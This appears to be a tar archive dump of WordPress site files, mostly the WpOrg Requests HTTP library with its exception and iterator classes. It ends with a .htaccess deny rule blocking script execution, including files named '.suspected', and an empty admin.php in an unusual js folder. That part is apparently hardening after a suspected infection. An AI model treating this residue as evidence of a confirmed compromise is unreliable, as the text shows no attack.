	 * Example usage:
	 * `Requests::has_capabilities([Capability::SSL => true])`.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport has the requested capabilities.
	 */
	public static function has_capabilities(array $capabilities = []) {
		return self::get_transport_class($capabilities) !== '';
	}

	/**#@+
	 * @see \WpOrg\Requests\Requests::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a GET request
	 */
	public static function get($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::GET, $options);
	}

	/**
	 * Send a HEAD request
	 */
	public static function head($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::HEAD, $options);
	}

	/**
	 * Send a DELETE request
	 */
	public static function delete($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::DELETE, $options);
	}

	/**
	 * Send a TRACE request
	 */
	public static function trace($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::TRACE, $options);
	}
	/**#@-*/

	/**#@+
	 * @see \WpOrg\Requests\Requests::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a POST request
	 */
	public static function post($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::POST, $options);
	}
	/**
	 * Send a PUT request
	 */
	public static function put($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::PUT, $options);
	}

	/**
	 * Send an OPTIONS request
	 */
	public static function options($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::OPTIONS, $options);
	}

	/**
	 * Send a PATCH request
	 *
	 * Note: Unlike {@see \WpOrg\Requests\Requests::post()} and {@see \WpOrg\Requests\Requests::put()},
	 * `$headers` is required, as the specification recommends that should send an ETag
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 */
	public static function patch($url, $headers, $data = [], $options = []) {
		return self::request($url, $headers, $data, self::PATCH, $options);
	}
	/**#@-*/

	/**
	 * Main interface for HTTP requests
	 *
	 * This method initiates a request and sends it via a transport before
	 * parsing.
	 *
	 * The `$options` parameter takes an associative array with the following
	 * options:
	 *
	 * - `timeout`: How long should we wait for a response?
	 *    Note: for cURL, a minimum of 1 second applies, as DNS resolution
	 *    operates at second-resolution only.
	 *    (float, seconds with a millisecond precision, default: 10, example: 0.01)
	 * - `connect_timeout`: How long should we wait while trying to connect?
	 *    (float, seconds with a millisecond precision, default: 10, example: 0.01)
	 * - `useragent`: Useragent to send to the server
	 *    (string, default: php-requests/$version)
	 * - `follow_redirects`: Should we follow 3xx redirects?
	 *    (boolean, default: true)
	 * - `redirects`: How many times should we redirect before erroring?
	 *    (integer, default: 10)
	 * - `blocking`: Should we block processing on this request?
	 *    (boolean, default: true)
	 * - `filename`: File to stream the body to instead.
	 *    (string|boolean, default: false)
	 * - `auth`: Authentication handler or array of user/password details to use
	 *    for Basic authentication
	 *    (\WpOrg\Requests\Auth|array|boolean, default: false)
	 * - `proxy`: Proxy details to use for proxy by-passing and authentication
	 *    (\WpOrg\Requests\Proxy|array|string|boolean, default: false)
	 * - `max_bytes`: Limit for the response body size.
	 *    (integer|boolean, default: false)
	 * - `idn`: Enable IDN parsing
	 *    (boolean, default: true)
	 * - `transport`: Custom transport. Either a class name, or a
	 *    transport object. Defaults to the first working transport from
	 *    {@see \WpOrg\Requests\Requests::getTransport()}
	 *    (string|\WpOrg\Requests\Transport, default: {@see \WpOrg\Requests\Requests::getTransport()})
	 * - `hooks`: Hooks handler.
	 *    (\WpOrg\Requests\HookManager, default: new WpOrg\Requests\Hooks())
	 * - `verify`: Should we verify SSL certificates? Allows passing in a custom
	 *    certificate file as a string. (Using true uses the system-wide root
	 *    certificate store instead, but this may have different behaviour
	 *    across transports.)
	 *    (string|boolean, default: certificates/cacert.pem)
	 * - `verifyname`: Should we verify the common name in the SSL certificate?
	 *    (boolean, default: true)
	 * - `data_format`: How should we send the `$data` parameter?
	 *    (string, one of 'query' or 'body', default: 'query' for
	 *    HEAD/GET/DELETE, 'body' for POST/PUT/OPTIONS/PATCH)
	 *
	 * @param string|Stringable $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type (use Requests constants)
	 * @param array $options Options for the request (see description for more information)
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $type argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
	 */
	public static function request($url, $headers = [], $data = [], $type = self::GET, $options = []) {
		if (InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
		}

		if (is_string($type) === false) {
			throw InvalidArgument::create(4, '$type', 'string', gettype($type));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(5, '$options', 'array', gettype($options));
		}

		if (empty($options['type'])) {
			$options['type'] = $type;
		}

		$options = array_merge(self::get_default_options(), $options);

		self::set_defaults($url, $headers, $data, $type, $options);

		$options['hooks']->dispatch('requests.before_request', [&$url, &$headers, &$data, &$type, &$options]);

		if (!empty($options['transport'])) {
			$transport = $options['transport'];

			if (is_string($options['transport'])) {
				$transport = new $transport();
			}
		} else {
			$need_ssl     = (stripos($url, 'https://') === 0);
			$capabilities = [Capability::SSL => $need_ssl];
			$transport    = self::get_transport($capabilities);
		}

		$response = $transport->request($url, $headers, $data, $options);

		$options['hooks']->dispatch('requests.before_parse', [&$response, $url, $headers, $data, $type, $options]);

		return self::parse_response($response, $url, $headers, $data, $options);
	}

	/**
	 * Send multiple HTTP requests simultaneously
	 *
	 * The `$requests` parameter takes an associative or indexed array of
	 * request fields. The key of each request can be used to match up the
	 * request with the returned data, or with the request passed into your
	 * `multiple.request.complete` callback.
	 *
	 * The request fields value is an associative array with the following keys:
	 *
	 * - `url`: Request URL Same as the `$url` parameter to
	 *    {@see \WpOrg\Requests\Requests::request()}
	 *    (string, required)
	 * - `headers`: Associative array of header fields. Same as the `$headers`
	 *    parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (array, default: `array()`)
	 * - `data`: Associative array of data fields or a string. Same as the
	 *    `$data` parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (array|string, default: `array()`)
	 * - `type`: HTTP request type (use \WpOrg\Requests\Requests constants). Same as the `$type`
	 *    parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (string, default: `\WpOrg\Requests\Requests::GET`)
	 * - `cookies`: Associative array of cookie name to value, or cookie jar.
	 *    (array|\WpOrg\Requests\Cookie\Jar)
	 *
	 * If the `$options` parameter is specified, individual requests will
	 * inherit options from it. This can be used to use a single hooking system,
	 * or set all the types to `\WpOrg\Requests\Requests::POST`, for example.
	 *
	 * In addition, the `$options` parameter takes the following global options:
	 *
	 * - `complete`: A callback for when a request is complete. Takes two
	 *    parameters, a \WpOrg\Requests\Response/\WpOrg\Requests\Exception reference, and the
	 *    ID from the request array (Note: this can also be overridden on a
	 *    per-request basis, although that's a little silly)
	 *    (callback)
	 *
	 * @param array $requests Requests data (see description for more information)
	 * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
	 * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public static function request_multiple($requests, $options = []) {
		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		$options = array_merge(self::get_default_options(true), $options);

		if (!empty($options['hooks'])) {
			$options['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
			if (!empty($options['complete'])) {
				$options['hooks']->register('multiple.request.complete', $options['complete']);
			}
		}

		foreach ($requests as $id => &$request) {
			if (!isset($request['headers'])) {
				$request['headers'] = [];
			}

			if (!isset($request['data'])) {
				$request['data'] = [];
			}

			if (!isset($request['type'])) {
				$request['type'] = self::GET;
			}

			if (!isset($request['options'])) {
				$request['options']         = $options;
				$request['options']['type'] = $request['type'];
			} else {
				if (empty($request['options']['type'])) {
					$request['options']['type'] = $request['type'];
				}

				$request['options'] = array_merge($options, $request['options']);
			}

			self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']);

			// Ensure we only hook in once
			if ($request['options']['hooks'] !== $options['hooks']) {
				$request['options']['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
				if (!empty($request['options']['complete'])) {
					$request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']);
				}
			}
		}

		unset($request);

		if (!empty($options['transport'])) {
			$transport = $options['transport'];

			if (is_string($options['transport'])) {
				$transport = new $transport();
			}
		} else {
			$transport = self::get_transport();
		}

		$responses = $transport->request_multiple($requests, $options);

		foreach ($responses as $id => &$response) {
			// If our hook got messed with somehow, ensure we end up with the
			// correct response
			if (is_string($response)) {
				$request = $requests[$id];
				self::parse_multiple($response, $request);
				$request['options']['hooks']->dispatch('multiple.request.complete', [&$response, $id]);
			}
		}

		return $responses;
	}

	/**
	 * Get the default options
	 *
	 * @see \WpOrg\Requests\Requests::request() for values returned by this method
	 * @param boolean $multirequest Is this a multirequest?
	 * @return array Default option values
	 */
	protected static function get_default_options($multirequest = false) {
		$defaults           = static::OPTION_DEFAULTS;
		$defaults['verify'] = self::$certificate_path;

		if ($multirequest !== false) {
			$defaults['complete'] = null;
		}

		return $defaults;
	}

	/**
	 * Get default certificate path.
	 *
	 * @return string Default certificate path.
	 */
	public static function get_certificate_path() {
		return self::$certificate_path;
	}

	/**
	 * Set default certificate path.
	 *
	 * @param string|Stringable|bool $path Certificate path, pointing to a PEM file.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or boolean.
	 */
	public static function set_certificate_path($path) {
		if (InputValidator::is_string_or_stringable($path) === false && is_bool($path) === false) {
			throw InvalidArgument::create(1, '$path', 'string|Stringable|bool', gettype($path));
		}

		self::$certificate_path = $path;
	}

	/**
	 * Set the default values
	 *
	 * The $options parameter is updated with the results.
	 *
	 * @param string $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type
	 * @param array $options Options for the request
	 * @return void
	 *
	 * @throws \WpOrg\Requests\Exception When the $url is not an http(s) URL.
	 */
	protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) {
		if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) {
			throw new Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url);
		}

		if (empty($options['hooks'])) {
			$options['hooks'] = new Hooks();
		}

		if (is_array($options['auth'])) {
			$options['auth'] = new Basic($options['auth']);
		}

		if ($options['auth'] !== false) {
			$options['auth']->register($options['hooks']);
		}

		if (is_string($options['proxy']) || is_array($options['proxy'])) {
			$options['proxy'] = new Http($options['proxy']);
		}

		if ($options['proxy'] !== false) {
			$options['proxy']->register($options['hooks']);
		}

		if (is_array($options['cookies'])) {
			$options['cookies'] = new Jar($options['cookies']);
		} elseif (empty($options['cookies'])) {
			$options['cookies'] = new Jar();
		}

		if ($options['cookies'] !== false) {
			$options['cookies']->register($options['hooks']);
		}

		if ($options['idn'] !== false) {
			$iri       = new Iri($url);
			$iri->host = IdnaEncoder::encode($iri->ihost);
			$url       = $iri->uri;
		}

		// Massage the type to ensure we support it.
		$type = strtoupper($type);

		if (!isset($options['data_format'])) {
			if (in_array($type, [self::HEAD, self::GET, self::DELETE], true)) {
				$options['data_format'] = 'query';
			} else {
				$options['data_format'] = 'body';
			}
		}
	}

	/**
	 * HTTP response parser
	 *
	 * @param string $headers Full response text including headers and body
	 * @param string $url Original request URL
	 * @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects
	 * @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects
	 * @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`requests.no_crlf_separator`)
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`noversion`)
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`toomanyredirects`)
	 */
	protected static function parse_response($headers, $url, $req_headers, $req_data, $options) {
		$return = new Response();
		if (!$options['blocking']) {
			return $return;
		}

		$return->raw  = $headers;
		$return->url  = (string) $url;
		$return->body = '';

		if (!$options['filename']) {
			$pos = strpos($headers, "\r\n\r\n");
			if ($pos === false) {
				// Crap!
				throw new Exception('Missing header/body separator', 'requests.no_crlf_separator');
			}

			$headers = substr($return->raw, 0, $pos);
			// Headers will always be separated from the body by two new lines - `\n\r\n\r`.
			$body = substr($return->raw, $pos + 4);
			if (!empty($body)) {
				$return->body = $body;
			}
		}

		// Pretend CRLF = LF for compatibility (RFC 2616, section 19.3)
		$headers = str_replace("\r\n", "\n", $headers);
		// Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2)
		$headers = preg_replace('/\n[ \t]/', ' ', $headers);
		$headers = explode("\n", $headers);
		preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches);
		if (empty($matches)) {
			throw new Exception('Response could not be parsed', 'noversion', $headers);
		}

		$return->protocol_version = (float) $matches[1];
		$return->status_code      = (int) $matches[2];
		if ($return->status_code >= 200 && $return->status_code < 300) {
			$return->success = true;
		}

		foreach ($headers as $header) {
			list($key, $value) = explode(':', $header, 2);
			$value             = trim($value);
			preg_replace('#(\s+)#i', ' ', $value);
			$return->headers[$key] = $value;
		}

		if (isset($return->headers['transfer-encoding'])) {
			$return->body = self::decode_chunked($return->body);
			unset($return->headers['transfer-encoding']);
		}

		if (isset($return->headers['content-encoding'])) {
			$return->body = self::decompress($return->body);
		}

		//fsockopen and cURL compatibility
		if (isset($return->headers['connection'])) {
			unset($return->headers['connection']);
		}

		$options['hooks']->dispatch('requests.before_redirect_check', [&$return, $req_headers, $req_data, $options]);

		if ($return->is_redirect() && $options['follow_redirects'] === true) {
			if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) {
				if ($return->status_code === 303) {
					$options['type'] = self::GET;
				}

				$options['redirected']++;
				$location = $return->headers['location'];
				if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) {
					// relative redirect, for compatibility make it absolute
					$location = Iri::absolutize($url, $location);
					$location = $location->uri;
				}

				$hook_args = [
					&$location,
					&$req_headers,
					&$req_data,
					&$options,
					$return,
				];
				$options['hooks']->dispatch('requests.before_redirect', $hook_args);
				$redirected            = self::request($location, $req_headers, $req_data, $options['type'], $options);
				$redirected->history[] = $return;
				return $redirected;
			} elseif ($options['redirected'] >= $options['redirects']) {
				throw new Exception('Too many redirects', 'toomanyredirects', $return);
			}
		}

		$return->redirects = $options['redirected'];

		$options['hooks']->dispatch('requests.after_request', [&$return, $req_headers, $req_data, $options]);
		return $return;
	}

	/**
	 * Callback for `transport.internal.parse_response`
	 *
	 * Internal use only. Converts a raw HTTP response to a \WpOrg\Requests\Response
	 * while still executing a multiple request.
	 *
	 * `$response` is either set to a \WpOrg\Requests\Response instance, or a \WpOrg\Requests\Exception object
	 *
	 * @param string $response Full response text including headers and body (will be overwritten with Response instance)
	 * @param array $request Request data as passed into {@see \WpOrg\Requests\Requests::request_multiple()}
	 * @return void
	 */
	public static function parse_multiple(&$response, $request) {
		try {
			$url      = $request['url'];
			$headers  = $request['headers'];
			$data     = $request['data'];
			$options  = $request['options'];
			$response = self::parse_response($response, $url, $headers, $data, $options);
		} catch (Exception $e) {
			$response = $e;
		}
	}

	/**
	 * Decoded a chunked body as per RFC 2616
	 *
	 * @link https://tools.ietf.org/html/rfc2616#section-3.6.1
	 * @param string $data Chunked body
	 * @return string Decoded body
	 */
	protected static function decode_chunked($data) {
		if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) {
			return $data;
		}

		$decoded = '';
		$encoded = $data;

		while (true) {
			$is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches);
			if (!$is_chunked) {
				// Looks like it's not chunked after all
				return $data;
			}

			$length = hexdec(trim($matches[1]));
			if ($length === 0) {
				// Ignore trailer headers
				return $decoded;
			}

			$chunk_length = strlen($matches[0]);
			$decoded     .= substr($encoded, $chunk_length, $length);
			$encoded      = substr($encoded, $chunk_length + $length + 2);

			if (trim($encoded) === '0' || empty($encoded)) {
				return $decoded;
			}
		}

		// We'll never actually get down here
		// @codeCoverageIgnoreStart
	}
	// @codeCoverageIgnoreEnd

	/**
	 * Convert a key => value array to a 'key: value' array for headers
	 *
	 * @param iterable $dictionary Dictionary of header values
	 * @return array List of headers
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not iterable.
	 */
	public static function flatten($dictionary) {
		if (InputValidator::is_iterable($dictionary) === false) {
			throw InvalidArgument::create(1, '$dictionary', 'iterable', gettype($dictionary));
		}

		$return = [];
		foreach ($dictionary as $key => $value) {
			$return[] = sprintf('%s: %s', $key, $value);
		}

		return $return;
	}

	/**
	 * Decompress an encoded body
	 *
	 * Implements gzip, compress and deflate. Guesses which it is by attempting
	 * to decode.
	 *
	 * @param string $data Compressed data in one of the above formats
	 * @return string Decompressed string
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
	 */
	public static function decompress($data) {
		if (is_string($data) === false) {
			throw InvalidArgument::create(1, '$data', 'string', gettype($data));
		}

		if (trim($data) === '') {
			// Empty body does not need further processing.
			return $data;
		}

		$marker = substr($data, 0, 2);
		if (!isset(self::$magic_compression_headers[$marker])) {
			// Not actually compressed. Probably cURL ruining this for us.
			return $data;
		}

		if (function_exists('gzdecode')) {
			$decoded = @gzdecode($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		if (function_exists('gzinflate')) {
			$decoded = @gzinflate($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		$decoded = self::compatible_gzinflate($data);
		if ($decoded !== false) {
			return $decoded;
		}

		if (function_exists('gzuncompress')) {
			$decoded = @gzuncompress($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		return $data;
	}

	/**
	 * Decompression of deflated string while staying compatible with the majority of servers.
	 *
	 * Certain Servers will return deflated data with headers which PHP's gzinflate()
	 * function cannot handle out of the box. The following function has been created from
	 * various snippets on the gzinflate() PHP documentation.
	 *
	 * Warning: Magic numbers within. Due to the potential different formats that the compressed
	 * data may be returned in, some "magic offsets" are needed to ensure proper decompression
	 * takes place. For a simple progmatic way to determine the magic offset in use, see:
	 * https://core.trac.wordpress.org/ticket/18273
	 *
	 * @since 1.6.0
	 * @link https://core.trac.wordpress.org/ticket/18273
	 * @link https://www.php.net/gzinflate#70875
	 * @link https://www.php.net/gzinflate#77336
	 *
	 * @param string $gz_data String to decompress.
	 * @return string|bool False on failure.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
	 */
	public static function compatible_gzinflate($gz_data) {
		if (is_string($gz_data) === false) {
			throw InvalidArgument::create(1, '$gz_data', 'string', gettype($gz_data));
		}

		if (trim($gz_data) === '') {
			return false;
		}

		// Compressed data might contain a full zlib header, if so strip it for
		// gzinflate()
		if (substr($gz_data, 0, 3) === "\x1f\x8b\x08") {
			$i   = 10;
			$flg = ord(substr($gz_data, 3, 1));
			if ($flg > 0) {
				if ($flg & 4) {
					list($xlen) = unpack('v', substr($gz_data, $i, 2));
					$i         += 2 + $xlen;
				}

				if ($flg & 8) {
					$i = strpos($gz_data, "\0", $i) + 1;
				}

				if ($flg & 16) {
					$i = strpos($gz_data, "\0", $i) + 1;
				}

				if ($flg & 2) {
					$i += 2;
				}
			}

			$decompressed = self::compatible_gzinflate(substr($gz_data, $i));
			if ($decompressed !== false) {
				return $decompressed;
			}
		}

		// If the data is Huffman Encoded, we must first strip the leading 2
		// byte Huffman marker for gzinflate()
		// The response is Huffman coded by many compressors such as
		// java.util.zip.Deflater, Ruby's Zlib::Deflate, and .NET's
		// System.IO.Compression.DeflateStream.
		//
		// See https://decompres.blogspot.com/ for a quick explanation of this
		// data type
		$huffman_encoded = false;

		// low nibble of first byte should be 0x08
		list(, $first_nibble) = unpack('h', $gz_data);

		// First 2 bytes should be divisible by 0x1F
		list(, $first_two_bytes) = unpack('n', $gz_data);

		if ($first_nibble === 0x08 && ($first_two_bytes % 0x1F) === 0) {
			$huffman_encoded = true;
		}

		if ($huffman_encoded) {
			$decompressed = @gzinflate(substr($gz_data, 2));
			if ($decompressed !== false) {
				return $decompressed;
			}
		}

		if (substr($gz_data, 0, 4) === "\x50\x4b\x03\x04") {
			// ZIP file format header
			// Offset 6: 2 bytes, General-purpose field
			// Offset 26: 2 bytes, filename length
			// Offset 28: 2 bytes, optional field length
			// Offset 30: Filename field, followed by optional field, followed
			// immediately by data
			list(, $general_purpose_flag) = unpack('v', substr($gz_data, 6, 2));

			// If the file has been compressed on the fly, 0x08 bit is set of
			// the general purpose field. We can use this to differentiate
			// between a compressed document, and a ZIP file
			$zip_compressed_on_the_fly = ((0x08 & $general_purpose_flag) === 0x08);

			if (!$zip_compressed_on_the_fly) {
				// Don't attempt to decode a compressed zip file
				return $gz_data;
			}

			// Determine the first byte of data, based on the above ZIP header
			// offsets:
			$first_file_start = array_sum(unpack('v2', substr($gz_data, 26, 4)));
			$decompressed     = @gzinflate(substr($gz_data, 30 + $first_file_start));
			if ($decompressed !== false) {
				return $decompressed;
			}

			return false;
		}

		// Finally fall back to straight gzinflate
		$decompressed = @gzinflate($gz_data);
		if ($decompressed !== false) {
			return $decompressed;
		}

		// Fallback for all above failing, not expected, but included for
		// debugging and preventing regressions and to track stats
		$decompressed = @gzinflate(substr($gz_data, 2));
		if ($decompressed !== false) {
			return $decompressed;
		}

		return false;
	}
}
Exception/ArgumentCount.php000066600000002664152070333530012023 0ustar00<?php

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;

/**
 * Exception for when an incorrect number of arguments are passed to a method.
 *
 * Typically, this exception is used when all arguments for a method are optional,
 * but certain arguments need to be passed together, i.e. a method which can be called
 * with no arguments or with two arguments, but not with one argument.
 *
 * Along the same lines, this exception is also used if a method expects an array
 * with a certain number of elements and the provided number of elements does not comply.
 *
 * @package Requests\Exceptions
 * @since   2.0.0
 */
final class ArgumentCount extends Exception {

	/**
	 * Create a new argument count exception with a standardized text.
	 *
	 * @param string $expected The argument count expected as a phrase.
	 *                         For example: `at least 2 arguments` or `exactly 1 argument`.
	 * @param int    $received The actual argument count received.
	 * @param string $type     Exception type.
	 *
	 * @return \WpOrg\Requests\Exception\ArgumentCount
	 */
	public static function create($expected, $received, $type) {
		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
		$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);

		return new self(
			sprintf(
				'%s::%s() expects %s, %d given',
				$stack[1]['class'],
				$stack[1]['function'],
				$expected,
				$received
			),
			$type
		);
	}
}
Exception/InvalidArgument.php000066600000002122152070333530012306 0ustar00<?php

namespace WpOrg\Requests\Exception;

use InvalidArgumentException;

/**
 * Exception for an invalid argument passed.
 *
 * @package Requests\Exceptions
 * @since   2.0.0
 */
final class InvalidArgument extends InvalidArgumentException {

	/**
	 * Create a new invalid argument exception with a standardized text.
	 *
	 * @param int    $position The argument position in the function signature. 1-based.
	 * @param string $name     The argument name in the function signature.
	 * @param string $expected The argument type expected as a string.
	 * @param string $received The actual argument type received.
	 *
	 * @return \WpOrg\Requests\Exception\InvalidArgument
	 */
	public static function create($position, $name, $expected, $received) {
		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
		$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);

		return new self(
			sprintf(
				'%s::%s(): Argument #%d (%s) must be of type %s, %s given',
				$stack[1]['class'],
				$stack[1]['function'],
				$position,
				$name,
				$expected,
				$received
			)
		);
	}
}
Utility/FilteredIterator.php000066600000004155152070333530012202 0ustar00<?php
/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayIterator;
use ReturnTypeWillChange;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests\Utilities
 */
final class FilteredIterator extends ArrayIterator {
	/**
	 * Callback to run as a filter
	 *
	 * @var callable
	 */
	private $callback;

	/**
	 * Create a new iterator
	 *
	 * @param array    $data     The array or object to be iterated on.
	 * @param callable $callback Callback to be called on each value
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not iterable.
	 */
	public function __construct($data, $callback) {
		if (InputValidator::is_iterable($data) === false) {
			throw InvalidArgument::create(1, '$data', 'iterable', gettype($data));
		}

		parent::__construct($data);

		if (is_callable($callback)) {
			$this->callback = $callback;
		}
	}

	/**
	 * Prevent unserialization of the object for security reasons.
	 *
	 * @phpcs:disable PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound
	 *
	 * @param array $data Restored array of data originally serialized.
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function __unserialize($data) {}
	// phpcs:enable

	/**
	 * Perform reinitialization tasks.
	 *
	 * Prevents a callback from being injected during unserialization of an object.
	 *
	 * @return void
	 */
	public function __wakeup() {
		unset($this->callback);
	}

	/**
	 * Get the current item's value after filtering
	 *
	 * @return string
	 */
	#[ReturnTypeWillChange]
	public function current() {
		$value = parent::current();

		if (is_callable($this->callback)) {
			$value = call_user_func($this->callback, $value);
		}

		return $value;
	}

	/**
	 * Prevent creating a PHP value from a stored representation of the object for security reasons.
	 *
	 * @param string $data The serialized string.
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function unserialize($data) {}
}
js/data/js/lfb/.htaccess000066600000000177152071645440011067 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>js/data/js/lfb/admin.php000066600000000000152071645440011053 0ustar00